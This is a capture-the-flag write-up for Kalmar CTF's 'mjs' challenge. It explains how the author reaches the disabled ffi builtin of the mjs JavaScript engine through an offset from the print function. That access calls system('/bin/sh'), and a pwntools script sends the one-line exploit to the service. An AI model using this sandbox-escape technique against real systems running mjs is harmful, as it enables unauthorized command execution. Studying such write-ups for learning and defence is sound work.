Kalmar CTF: mjs

mjs

This web browser challenge provides a github repository, which can be found here, some browser binary and scripts, and a docker file.

Remark

This was my first web browser exploitation. It includes, but not limited to, binary, javascript, and engine knowledge. It took a bit to figure out the inner structures, how they worked together, and where to look at. However, once I figured out where to look at, the challenge became pretty straight forward and even seemed easy.

Analysis

This challenge seems to be using a restricted javascript engine to restrict API calls, so I took a look at the repository to see which calls are allowed. These are the API calls I can utilize.

print(arg1, arg2, ...);
load('file.js', obj);
die(message);
let value = JSON.parse(str);
let str = JSON.stringify(value);
let proto = {foo: 1}; let o = Object.create(proto);
'some_string'.slice(start, end);
'abc'.at(0);
'abc'.indexOf(substr[, fromIndex]);
chr(n);
let a = [1,2,3,4,5]; a.splice(start, deleteCount, ...);
let s = mkstr(ptrVar, length);
let s = mkstr(ptrVar, offset, length, copy = false);
let f = ffi('int foo(int)');
gc(full);

Unzipping the challenge file gives a python code that runs on the server that takes in user input and opens a subprocess ./mjs and executes the input as a javascript code.

The usage of the mjs binary locally looks like:

./mjs ./test.js

where test.js is the javascript file that I want to execute locally. So if my test.js looks like this:

function hello() {
    print("hello world");
}

hello();
1;

Then the output will look like:

hello world
1

So I pretty much can execute arbitrary codes on the server as long as they comply with the restrictive engine/within the API list.

Taking a look at diff.patch, it gives a pretty interesting info.

diff --git a/Makefile b/Makefile
index d265d7e..d495e84 100644
--- a/Makefile
+++ b/Makefile
@@ -5,6 +5,7 @@ BUILD_DIR = build
 RD ?= docker run -v $(CURDIR):$(CURDIR) --user=$(shell id -u):$(shell id -g) -w $(CURDIR)
 DOCKER_GCC ?= $(RD) mgos/gcc
 DOCKER_CLANG ?= $(RD) mgos/clang
+CC = clang
 
 include $(SRCPATH)/mjs_sources.mk
 
@@ -81,7 +82,7 @@ CFLAGS += $(COMMON_CFLAGS)
 # NOTE: we compile straight from sources, not from the single amalgamated file,
 # in order to make sure that all sources include the right headers
 $(PROG): $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) $(TOP_HEADERS) $(BUILD_DIR)
-	$(DOCKER_CLANG) clang $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
+	$(CC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
 
 $(BUILD_DIR):
 	mkdir -p $@
diff --git a/src/mjs_builtin.c b/src/mjs_builtin.c
index 6f51e08..36c2b43 100644
--- a/src/mjs_builtin.c
+++ b/src/mjs_builtin.c
@@ -137,12 +137,12 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj) {
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_load));
   mjs_set(mjs, obj, "print", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_print));
-  mjs_set(mjs, obj, "ffi", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call));
-  mjs_set(mjs, obj, "ffi_cb_free", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free));
-  mjs_set(mjs, obj, "mkstr", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr));
+  /* mjs_set(mjs, obj, "ffi", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call)); */
+  /* mjs_set(mjs, obj, "ffi_cb_free", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free)); */
+  /* mjs_set(mjs, obj, "mkstr", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr)); */
   mjs_set(mjs, obj, "getMJS", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_get_mjs));
   mjs_set(mjs, obj, "die", ~0,
@@ -151,8 +151,8 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj) {
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_do_gc));
   mjs_set(mjs, obj, "chr", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_chr));
-  mjs_set(mjs, obj, "s2o", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o));
+  /* mjs_set(mjs, obj, "s2o", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o)); */
 
   /*
    * Populate JSON.parse() and JSON.stringify()
diff --git a/src/mjs_exec.c b/src/mjs_exec.c
index bd48fea..24c2c7c 100644
--- a/src/mjs_exec.c
+++ b/src/mjs_exec.c
@@ -835,7 +835,7 @@ MJS_PRIVATE mjs_err_t mjs_execute(struct mjs *mjs, size_t off, mjs_val_t *res) {
 
           *func = MJS_UNDEFINED;  // Return value
           // LOG(LL_VERBOSE_DEBUG, ("CALLING  %d", i + 1));
-        } else if (mjs_is_string(*func) || mjs_is_ffi_sig(*func)) {
+        } else if (mjs_is_ffi_sig(*func)) {
           /* Call ffi-ed function */
 
           call_stack_push_frame(mjs, bp.start_idx + i, retval_stack_idx);

The author commented out calls to mjs_set with ffi argument.

I looked up ffi and it gave me: Detailed info here

"This module implements a web server that communicates with a web browser and allows you to execute arbitrary JavaScript code on it."

So my idea was, to pop a shell, I would need to call ffi to run C code and execute system.

Dynamic

I started interacting with mjs with gdb. Since I could call print, I can print addresses of functions like:

print(print);

And within gdb, print is mjs_print and ffi is mjs_ffi_call, I figured out their actual names by referencing the souce in git repository.

I cannot call ffi directly, but I can call ffi using (print + offset), which I believe is the intended vuln. And I can calculate offset using gdb.

Exploitation

The explotation is fairly simple, as we only have to call ffi using the right offset and the right calling convention, which was a bit tricky to figure out.

But locally, we just need one line:

(print + 0x6ab0)('int system(char *)')('/bin/sh');

And for remote, we just supply “EOF” at the end to run.

#!/usr/bin/python3
from pwn import *
context.log_level='debug'
context.arch='amd64'
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
p=remote('127.0.0.1', 10002)
ru 		= lambda a: 	p.readuntil(a)
r 		= lambda n:		p.read(n)
sla 	= lambda a,b: 	p.sendlineafter(a,b)
sa 		= lambda a,b: 	p.sendafter(a,b)
sl		= lambda a: 	p.sendline(a)
s 		= lambda a: 	p.send(a)
# gdb.attach(p)

sla('End with "EOF":\n', "print((print + 0x6ab0)('int system(char *)')('/bin/sh'));\nEOF")

p.interactive()

One line is all we need.

Notes

The exploitation logic isn’t that complex. To solve this challenge, I had to learn some basic javascript and what to expect in terms of how the server behaves relating to my requests- which I believe is the fundamentals of web browser exploitation.

I think this was a fairly neat challenge for beginners of web browser exploitation. It also reminded me of seccomp and sandbox escaping challenges.

Thank you!

079